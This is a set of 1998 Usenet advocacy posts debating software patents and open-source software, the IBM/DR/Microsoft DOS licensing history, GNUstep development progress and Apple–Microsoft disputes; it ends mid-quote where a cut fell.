> That doesn't naturally extend to IBM having interest in supporting other
> patent-related issues.
>
> More to the point, a lot of Microsoft's patents have been directed to the
> way GUI elements work.
>
> It is not obvious that it is IBM's interests to *care* about whether Linux
> is successful on the desktop.
>
> Counterarguments can surely be presented to these points; Usenet is full of
> people making both intelligible and inept counterarguments. (Mostly the
> latter...)
With that comment for a lead-in....
The idea occured to me when IBM's support of Apache was announed that
among the things IBM could provide Apache was precisely the IP
protection we're discussing here. Subsequent discussions with Apache &
IBM folks indicated that an informal arrangement was in place.
Extending this idea I started looking at what I originally called
"Patent Patrons" -- large IP-rich companies with an interest in
opportunities offered by OSS, who might take on protection of a
particular project or projects. This has evolved further, Chris has
seen its current shape, I'd be interested to hear back....
While IBM's interest and likely support is likely limited in scope and
depth, it probably *does* extend to Linux -- DB2 is another product
which is being ported, virtually any ISV would like to see some
assurance of a non-MSFT controlled market, and there are persistant
rumors that IBM will produce a Linux distribution (no, I don't know
anything that I haven't read in public). It's also been explained
patiently to me that IBM is a big company, that there are many
activities and agendas, and that nobody knows all of what's happening
(or as I put it, the right hand doesn't always know what the right hand
is doing). Linux, Apache, Java, and perl are white hot in some areas,
and foreign words in others. Them's the breaks.
Even if IBM didn't support Linux, Intel or Cisco might, Yahoo would have
an interest in FreeBSD, someone could come to the rescue of the GIMP,
etc., etc., etc.... The ideal solution to me is to pool these interests
into a collective which *does* provide umbrella support.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:31pm up 4 days, 15:45, 3 users, load average: 0.11, 0.14, 0.10
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Thu, 12 Nov 1998 07:53:25 +0000
Organization: Self Analysis
Message-ID: <364A93F5.615EB064@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <72b6c2$16v$9@blue.hex.net> <72clqk$3ij$1@nnrp1.dejanews.com>
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brlewis@my-dejanews.com wrote:
>
> In article <72b6c2$16v$9@blue.hex.net>,
> cbbrowne@hex.net wrote:
> > The producer of proprietary code is presumably controlling distribution
> > of the code, and thus has control over reuse, and receives payment for
> > such.
> >
> > It is not a tough problem in that circumstance to pay a royalty and
> > receive a suitable "release" to permit using the patent in the resulting
> > product. It is generally a reasonable idea to bury $2 for patent
> > royalties into the price of each software license.
>
> You are talking about a situation in which you know beforehand that there's a
> relevant patent. The topic is what happens when a patent-holder informs you
> of a patent violation in software that you are already distributing. When
> that happens, whether your software is proprietary or open, you are not in a
> position to negotiate royalties.
Wrong.
A proprietary software developer with an established firm and economic
base may have superior legal resources, be golf partners with the judge,
or have his or her own patented technologies to use in challenging or
negotiating a settlement or licensing agreement with the plaintif. The
architypical OSS developer living on a crash pad and hacking on a
beat-up '386 likely has none of these resources. I may paint the
picture bleaker than it is, but the point is that unorganized OSS
developers have less recourse to resources or retaliatory action than a
monied firm.
> > In contrast, nobody controls the distribution of free software, and
> > hence the value of releasing rights to the patent is indeterminate.
>
> In the situation we're talking about, this is not necessarily a disadvantage
> for OSS; more likely it's an advantage.
So long as only development and distribution carry infringment
liability. Use of a patented technology may also be infringing. So
long as this is the case, adoption of OSS by deep pockets commercial
concerns may be discouraged out of liability concerns.
> > And that's a different "cloud" to have hanging over you...
>
> In other words, Fear, Uncertainty and Doubt.
>
> I predict that the fear of patent suits will slow down the free software
> movement far more than any actual patent suit will.
Fear is often the most useful weapon in battle. I'd like to see it
rendered ineffective WRT patents & OSS.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:41pm up 4 days, 15:55, 3 users, load average: 0.04, 0.08, 0.08
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
Date: Thu, 12 Nov 1998 08:15:37 +0000
Organization: Self Analysis
Message-ID: <364A9929.B97B3A05@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com> <364930B0.5A8059C5@ix.netcom.com> <72cn16$4lj$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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brlewis@my-dejanews.com wrote:
>
> In article <364930B0.5A8059C5@ix.netcom.com>,
> kmself@ix.netcom.com wrote:
> > I'm not anti-patent, I don't believe software patents are bad, and I
> > don't believe that software can be effectively seperated from all other
> > inventions, particularly HW implementations of logic -- either in the
> > granting or the enforcement of patents.
>
> When the US started implementing patents, a timeout was used because after a
> certain amount of time it could be assumed that the patented item would have
> been invented anyway. That timeout was set at 17 years. For software, a
> more appropriate timeout would be about 3 weeks. But with such a short
> timeout, why go through the patent application process at all?
I doubt your conclusion is based on solid and documented research. I've
seen and heard of a number of studies, in balance inconclusive, as to
whether or not patents are net beneficial or detrimental to society.
The general consensus is that in some fields, notably pharmaceuticals,
they are a virtual necessity. In others, typically software, they may
be harmful. I'll point the reader to an essay by UC Berkeley economist
Hal Varian (http://www.sims.berkeley.edu/~hal/Papers/japan/index.html --
see section "Software patents") suggesting the term of SW patents *is*
too long, but that as a practical matter it couldn't easily be reduced.
Rather
As a practical matter, it would be far easier for the PTO to set
high novelty standards and grant narrow software patents than for
Congress to selectively alter patent lifetimes for software
patents. Furthermore, in many cases the patent lifetime is
unimportant, because the pace of progress is great enough that
the patent has lost all of its value by its expiration date.
> > I feel however, that the status
> > quo puts OSS in a dangerous position. I believe the situation may be
> > remedied, and that patents might even be an OSS developer's best
> > friend.
>
> Patent is to OSS developer as nuke is to peace-loving nation. You don't like
> them, but you might choose to have one only because your enemy has one.
I'll simply point out that your veering into irrelevant rhetoric serves
no meaningful purpose. If you're morally opposed to patents, copyright,
IP, or whatever, that's fine by me. I'm looking for a constructive way
to use existing (and likely highly persistent) legal mechanisms to
benefit OSS.
> > Proprietary software tends not to put the user of software at risk in
> > the event of infringement. Whether this is because of tradition or
> > ready (and generally effective) access to the developer/vendor, I'm not
> > sure.
>
> Example please. I would like to know about a software patent suit that let
> the users of said software continue to use it and install it on new systems.
> If MS Windows got hit with a patent suit today, I suspect it would severely
> affect companies using MS Windows, even though they weren't directly being
> sued.
Stac.
Microsoft was sued, and lost its case, to Stac technologies for the use
of filesystem compression technology in Windows, I believe Doublespace.
Microsoft paid a $100 m (US) fine to Stac, and was forced to
discontinue use of the technology in future versions of Windows,
replacing it with another compression method. (Stac & MS had subsequent
legal dealings as well, of which I'm largely unfamiliar -- this really
isn't my area of expertise). AFAIK, existing users of Windows were not
required to remove Doublespace from their system, nor were they
personally liable for infringement of Stac's patent.
You could argue that future users were affected by not having access to
Stac's patents in Microsoft software, but this is hardly the same as
being sued personally by a patent holder simply for using software.
This could very well be the case for OSS.
> With the loads of new features crammed into newer MS software, how can you
> know that there are no patent violations? I fear my company might be in
> trouble because of reliance on MS software with its uncertain patent status.
> I doubt we would be ready to handle it if MS were successfully sued and chose
> to immediately desupport the software rather than meet the patentholder's
> royalty demands.
I would suggest you contact your lawyer WRT to this. In most cases,
software comes with some stated level of support which you have in
effect purchased with the software. What the affect of a lost patent
infringement suit on the part of your vendor on this agreement is I
don't know. I feel pretty comfortable saying that your company would
likely risk only losing support for the software, not having itself sued
for use. I strongly suspect that your license and contract with your
vendor obliges the vendor to support the product regardless of whether
use of a technology is challenged. This might be something for the
vendor to negotiate with the plaintiff.
> > Proprietary software vendors tend to have a more substantial financial
> > footing, and access to legal resources, than many OSS developers. While
> > a patent suit could destroy an ISV, there is at least a fighting chance
> > at persevering.
>
> The EFF was chartered years ago to remedy this exact situation.
I believe the EFF's charter is rather more broad than this. They
include discussions of patent issues on their website, but also deal
heavily with privacy and encryption, censorship, and other issues more
related to civil rights than corporate IP. LPF was organized rather
specifically against patents.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
11:51pm up 4 days, 16:05, 3 users, load average: 0.15, 0.12, 0.09
From: Clancy Dalebout <fleegix@shell2.aracnet.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 10 Nov 1998 00:09:05 GMT
Organization: Aracnet Internet
Message-ID: <728071$gdi$1@spitting-spider.aracnet.com>
User-Agent: tin/pre-1.4-980226 (UNIX) (Linux/2.0.35 (i686))
Originator: fleegix@aracnet.com (Clancy Dalebout)
> nws@rollingthunder.demon.co.uk (Anthony Ord) writes:
>> Well in the EU, software patents are unenforceable, though for how
>> much longer remains to be seen. The US government was banging at the
>> door to get the EU to change its mind. Also reverse-engineering "to
>> ensure interoperability of established systems" (or some legal rubbish
>> like that) is also legal.
> Linux has been getting a _lot_ of favorable press lately, and Microsoft
> is getting just the opposite. If M$ tried anything against us involving
> software patents, congresspeoples' phones would be ringing off the hook
> with the _strong_ suggestion that US law be brought in line with the
> EU's.
Heh. No doubt. "Ok all you NASA dorks! Shut down that Beowulf Cluster!
We're switching to NT! Got your checkbook?"
Nope, I don't see how the government could do that.
> Such a move might not even require congressional intervention; it could
> be done either judicially or possibly by executive order -- the PTO _is_
> part of the executive branch, after all. All it would take is a firm
> policy decision that software consists entirely of mathematical formulae,
> which are not patentable. It would probably be widely applauded.
> For that matter, the US is no longer in a position to dictate IP law to
> the rest of the world.
For that matter, GNU/Linux is not one program, but many. To kill a whole
distribution would take 10,000 lawsuits. Only the Linux Kernel really
needs to survive, and I doubt anyone could prove Linus ripped that off...
--
Clancy Dalebout | xmsho@!spam!nein!yahoo.com
"With proper tactics, nuclear war need not be as destructive as it appears."
-- Henry Kissinger
"Tactical nukes? We don't need no stinkin' tactical nukes!" -- Larry Wall
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 12 Nov 1998 00:33:25 -0800
Organization: Institute of Lawsonomy
Message-ID: <72e6gl$mtv$1@52-a-usw.rb1.blv.nwnexus.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Wilbur Streett <WStreett@shell.monmouth.com> wrote:
>Why don't you read a couple books and stop claiming that you know the
>history? Start with the Manes biography of Gates..
That's an odd book for you to cite, since it contradicts your claims.
In particular, page 154-155 (of the hardback first edition, anyway)
tells of Gates sending IBM to talk to DR about licensing CP/M.
--Tim Smith
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: isthatspam@*spambites**aol.com (John Caravagio)
Subject: Re: a prediction
Organization: The DIS Organization
Message-ID: <isthatspam-0911981901480001@71.chestnut.fcc.net>
References: <727dne$k75@newsb.netnews.att.com> <isthatspam-0911981445340001@99.chestnut.fcc.net> <pxpst2-0911981623250001@pelli.pathology.pitt.edu>
aE,2>V.`kdX53n;0L;z[Y*]80/iO&<i;24h%Itp9753ciK?c=8KyBp0
Date: Tue, 10 Nov 1998 00:01:47 GMT
In article <pxpst2-0911981623250001@pelli.pathology.pitt.edu>,
pxpst2@unixs.cis.pitt.edu wrote:
> C'mon John give arun a break. It is funny to know that their is some dim
> wits that whould buy a computer with a beta OS and then get charged for
> it.
>
>
> Peter
Damnit, Peter, you're so damn civilized!
:o)
-John
--
To reply via e-mail remove "*spambites**" from the return address.
Some men see the glass as half empty.
Bob Dole see's it as a great place for his teeth.
From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Date: Tue, 10 Nov 1998 00:15:49 +0100
Organization: University of Bonn, Germany
Message-ID: <1di9200.acou6p2gct0nN@ascend-tk-p87.rhrz.uni-bonn.de>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net> <F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl> <F1x2zp.Hup@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> Ahh, we're definitely working under different versions of "quite active",
> which would explain the issue! c.s.m.a is "quite active", at something
> nearing 300 messages a day. 300 a month is10 a day, which is what I call
> "dead".
macosx-dev (aka rhapsody-dev) recieved an average of 325 mails per month
within the last 16 months.
So is it dead? No. It has just a good signal/noise ratio.
My point was that
* traffic has increased
* there are almost weekly status reports which sound like progress is
made.
* there is a good infrastructure via anon-cvs for contributors.
They're also trying to make GNUstep more visible in the future.
Dirk
Here one of the status reports, 5 days old:
Felipe A. Rodriguez <far_no@spam.ix.netcom.com> wrote:
> Various significant changes to the AppKit libraries have been
> committed to CVS. Most of the significant bugs relating to Edit
> have now been fixed. Edit now highlights in the NeXT style...etc.
> The scrolling machinery in XRClipView received it's second rewrite
> and some polish (could probably still use one or two more passes).
> XRFontInfo was eliminated and it's functionality moved into
> XRFont which along with some code provided by Michael Hanni now
> allows pretty decent NSFont functionality.
>
> The most significant set of changes you can't see but hopefully
> will feel :-) That is I performed an extensive optimization and
> rewrite of the application classes and the event translation
> mechanism. For starters XREventFactory is no more and it's
> functionality was moved into XRApplication. Given the front and
> back end nature of these optimizations the changes were mirrored in
> XDPS as well.
>
> All of this was meant to both improve performance and to solve the
> problems of sudden unresponsiveness and event stacking by the app.
> As it turns out the major problem was that unrestricted X motion
> event translation and dispatch tends to saturate the AppKit when
> doing something as simple as running the cursor over a window. So
> the event translation mechanism now employs a bit of regulation.
> This because translating and dispatching motion events at a rate
> beyond human perception will probably do nothing but stress the
> AppKit (the algorithm is different in a tracking loop). Given
> that XDPS is much slower than XRAW I suspect that these changes
> will benefit XDPS much more than XRAW. Performance is difficult
> to gauge with DGS so I'd appreciate feedback from anyone running
> a commercial UNIX with DPS built into the X server.
>
>
> --
> Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
> Agoura Hills, CA # being a private citizen because he was
> # armed; his successors, since they avoided
> far@ix.netcom.com # the inconveniences of arms, became private
> (NeXTmail preferred) # citizens after having been dukes.
> (MIMEmail welcome) # --Nicolo Machiavelli
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 9 Nov 1998 16:07:06 -0800
Organization: Institute of Lawsonomy
Message-ID: <72803a$636$1@52-a-usw.rb1.blv.nwnexus.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com>
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Wilbur Streett <WStreett@shell.monmouth.com> wrote:
>That's not the way that it's been documented..
Yes it is, according to the vast majority of books on the subject.
--Tim Smith
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Thu, 12 Nov 1998 08:45:59 +0000
Organization: Self Analysis
Message-ID: <364AA047.FED2875F@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz> <36493AF7.BDFE3CAA@ix.netcom.com> <qv6vhkmgeww.fsf@physp43.phys.canterbury.ac.nz>
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Ryurick M. Hristev wrote:
>
> "Karsten M. Self" <kmself@ix.netcom.com> writes:
> Is good to hear a reasonable voice in an *.advocacy group from time to
> time :-)
Ohhh... I'm sorry, let me adjust my mood filter.... <g> Well, this is
being cross-posted to misc.int-property, we try to bash each other
*reasonably* here....
> Ok I have to cool down. I think we agree on more than it
> appears at first sight.
<snip>
> No, I am sorry, maybe I didn't express myself clearly enough.
> My opinion is that the vast majority of software patents are so
> trivial they shouldn't have been granted in the first place.
My turn -- I agree that bad patents are issued (hell, Bruce Leyman
agrees -- soon to be ex-Commissioner of the USPTO, see footnote 2
http://www.sims.berkeley.edu/~hal/Papers/japan/index.html)
> Second, in many cases they may be the expression of mathematical
> formulas who AFAIK are not patentable anywhere
> (RSA ? and still it is patented in US).
I'll say maybe I don't like it, but it's the rules of the game in the US
at least, for now.
> In either case the worst thing is that patents forbid the
> *independent* reimplementation.
Very fundamental difference for the other key IP law, copyright. Makes
how the game is played, and how OSS might change the rules, very
different. It also means that any attempt to change the rules means
both:
- You are going up against a large entrenched interest who will suffer.
- You are telling people what they can or cannot do with something
they think of as "theirs".
Note, however, that innovation off a patent is possible, and it is
possible to patent very similar technologies which may be unilaterally
or mutually blocking -- one patent cannot be excercised without
requiring rights to the other(s). Not sure exactly how you set this up,
but holding one half of such a pair puts you in a powerful negotiating
position (and in a hard place).
> It is normal and understandable (individual/corporation) that the
> entity who invented the thingy being patented should be allowed to
> recoup its investment (in terms of time, money e.t.c.) and make a
> *reasonable* benefit.
>
> And this is where the patent system have gone *way* off hand:
> - first is allows trivial things to be patented
> - second it allows for far more than a reasonable benefit
>
> Yes these things do exists but playing by the actual rules is of no
> good. Is the *rules* who have to be *changed*. In this respect, what
> Bruce Perens thinks (in his recently posted article) is IMHO bad
> strategy even if it may be good tactics.
Not necessarily. As I said to someone else here, off-list, bad patents
are a sword which cuts two ways. Perens is suggesting a patent pool for
OSS. If OSS is as inventive as it seems to be, and it can be used to
file patents in large quantities, and apply these patents to a common
pool, the fact that bad patents are now being licensed to OSS works in
OSS's favor. Even corruption isn't so bad when it's evenly distributed
(mind you I prefer cleaner stuff if I can get it). It's *lopsided*
corruption which is truely evil.
IMO OSS is less concerned with bad SW patents than it is concerned with
bad SW patents held by interests which might do it harm. Holding
patents itself (good or bad), OSS can use these patents to extract cross
licensing agreements, royalties for non-OSS use, or to challenge the
validity of a challenger's patents. The same costs would apply in both
directions.
Hell, if this worked well enough, you might even see calls for real
reform come from the commercial side.
> The actual status quo affects everybody and probably costs in terms
> of billion of dollars (companies have to keep track of patents trough
> databases, legal costs e.t.c.). Who's benefitting ? In the long term
> probably nobody. Even if you may be the today winner with a hot
> patent, tomorrow it will be somebody else and *you* will have to pay
> royalties.
Rule of thumb I've seen is that maintenance costs run about 15% of
royalties, on average. This is based on admin schedules from MIT and UC
Berkeley (available on their respective websites, look for "technology
office" or similar & dig). There are probably a few high-flying patents
(with high costs, but astronomical revenues) which make up the bulk of
revenue, and a lot of duds which could very well be ditched. I haven't
seen good stats on patent valuation.
IMO the truth is that net costs and benefits of patents are hard to
assess, and it could very well be a wash. Dismantling the system would
impose, however, extremely high displacement costs, not to mention a wee
bit o' that old political opposition. Don't hold your breath.
> A side example, to make a comparison: recently a study done by
> Economic Strategy Institute (Washington D.C.) states that US will
> lose around 35 billion dollars due to its restrictions on cryptography
> (source: Scientific American, October 1998, page 89).
Whole 'nother can of worms, nothing to do with patents. However, I
agree with you that US crypto policy is worse than idiotic.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
12:11am up 4 days, 16:25, 3 users, load average: 0.15, 0.15, 0.10
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280001211980050240001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Thu, 12 Nov 1998 00:50:24 -0800
NNTP-Posting-Date: Thu, 12 Nov 1998 00:49:19 PDT
In article <adtF2At2v.8B7@netcom.com>, adt@netcom.com (Anthony D. Tribelli)
wrote:
> Rick (nojunkhattonr@aug.com) wrote:
>
> : Yes, you've missed everything. MS threatend Apple with its corproate
> : life. Apple decided to not knuckle under to MS. The threat is illegal.
> : What dont you see?
>
> So one company denying software that a different company needs to survive
> would be illegal? I hope the lawyers for the former Mac clone vendors
> aren't reading. :-)
You're reaching here!
Apple chose not to license MacOS (its own product) to the cloners beyond 7.6.
According to sworn testimony, MS made an effort to prevent *other
companies* from selling *their own software* into the market. In the case
of Intel it would appear that they succeeded (see "NSP").
Rob
Message-ID: <36478A57.1B5F7419@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <727llm$743$1@news.xmission.com> <727nej$rs8@shelob.afs.com>
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NNTP-Posting-Date: Mon, 09 Nov 1998 19:31:49 EDT
Date: Mon, 09 Nov 1998 16:35:35 -0800
Greg Anderson wrote:
* Yeah, that was one funny company before they moved from Bethesda
* to San Mateo and went corporate...
And then went from San Mateo to Cupertino and went underground . . .
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Clancy Dalebout <fleegix@shell2.aracnet.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 10 Nov 1998 00:32:35 GMT
Organization: aracnet.com
Message-ID: <7281j3$i40$1@spitting-spider.aracnet.com>
User-Agent: tin/pre-1.4-980226 (UNIX) (Linux/2.0.35 (i686))
Originator: fleegix@aracnet.com (Clancy Dalebout)
d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
Organization: Aracnet Internet
In comp.os.linux.advocacy Bruce Hayden <bhayden@ieee.org> wrote:
> Jonathan W Hendry wrote:
> Two things here. First, those of us who were around in the early
> 1980's remember vividly what happened when DOJ dropped its anti-
> trust suit against IBM. The company's level of competition
> increased dramatically, almost overnight. And from an outsider's
> point of view, much of that competition was not really aboveboard.
> In any case, it was apparent in retrospect that the antitrust suit
> itself was doing quite a bit to rein in the company's anticompetitive
> tendancies. The joke was that IBM had been able to deep-pocket and
> stall the govt. until it could get its own guy (former IBM outside
> counsel) into the top antitrust position at DOJ, who under Reagan
> immediately dismissed the suit, as having no merit, while maintaining
> the AT&T suit, which was considered by the DOJ attys to have much
> less merit. I think that I would have to do a little more research
> to determine whether the original MS contract was before or after this.
> In any case, if you will remember, IBM went to Gates because it was
> in a hurry. It dropped negotiations with DR (through Gates) because
> they were taking so long. The reason (IMHO) that IBM went outside
> for that stuff was that it knew that it couldn't do it inside
> as quickly as it needed it done. Indeed, just look at how long
> it took to get a useful OS/2 out the door. At least then, the
> company just couldn't move quickly, even if it had to, and someone
> there knew that they had to in this case.
> It is also not clear that MS would have been willing to sell out
> to IBM in the first place. Despite some of its less than competitive
> tactics, I submit that one of the big reasons that MS is as
> sucessful as it is, and has so many of the wealthiest people in
> the world working for (or having had worked for it) is that it
> (or Bill Gates or whoever) had a better vision than anyone else
> about what was going to happen. I am not sure that IBM would
> have, or even could have, offered them as much money as they
> may have believed their vision was worth (Or even to just buy
> out Bill Gates alone).
On the contrary, IBM bought DOS "outright" for a flat fee of
$80,000. No royalties. MS bought QDOS for $50,000, so they only
turned a $30,000 profit on the deal. MS kept making money from
IBM by licensing BASIC, and doing periodic upgrades of those two
products and re-licensing them. MS only started making *real*
cash when Compaq reverse-engineered the IBM ROM-BIOS and created
a clone market. Their claims of 100% compatibility means Campaq
HAD to have MS-DOS and Microsoft knew it, and so was able to
negotiate more agressive licensing terms.
--
Clancy Dalebout | xmsho@!spam!nein!yahoo.com
"With proper tactics, nuclear war need not be as destructive as it appears."
-- Henry Kissinger
"Tactical nukes? We don't need no stinkin' tactical nukes!" -- Larry Wall
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 12 Nov 1998 00:38:15 -0800
Organization: Institute of Lawsonomy
Message-ID: <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net>
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Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
Wilbur Streett <WStreett@shell.monmouth.com> wrote:
>IBM wasn't sent to DR by Gates, DR was the recognized market leader in the
>OS market and IBM had every intention of licensing CPM-86. Kildall thought
IBM intended to sublicense CPM-86 through MS, not directly from DR. Gates
said MS couldn't do that, and sent them to talk directly to DR, where they
ran into two problems. (1) DR wouldn't sign the NDA, and (2) CPM-86 was a
long way from being ready.
--Tim Smith
From: Alan <Spamless@In.Seattle>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 18:51:32 -0600
Organization: Department of Redundency Department
Message-ID: <EA6CB9C2C4144967.EAF79291B84A5F56.3370ADA3AA2CE179@library-proxy.airnews.net>
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Wilbur Streett wrote:
>
> tzs@halcyon.com (Tim Smith) wrote:
>
> >Actually, IBM told Gates that DR wouldn't talk to them, after Gates sent IBM
> >to DR, and suggested that it would be a very good idea if Gates added an OS
> >to the proposed software that MS would develop, if Gates didn't want to see
> >the PC project canceled. That's when Gates went looking and found QDOS at
> >Seattle Computer.
>
> That's not the way that it's been documented..
>
> Wilbur
That's basically what "Hard Drive" by James Wallace & Jim Erickson and
"Gates" by Stephen Manes and Paul Andrews say.
--
"I don't believe in anti-anything. A man has to have a
program; you have to be *for* something, otherwise you
will never get anywhere." -- Harry S Truman
From: Alan <Spamless@In.Seattle>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 19:03:29 -0600
Organization: Department of Redundency Department
Message-ID: <3270FAD525822DBA.9192AD44C85B78C4.DA5F6F23B5A5BD26@library-proxy.airnews.net>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
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Ryurick M. Hristev wrote:
>
> Don't forget what Mark Twain said once (approximate quote):
>
> "You can fool everybody for some time,
> you can fool some people all the time,
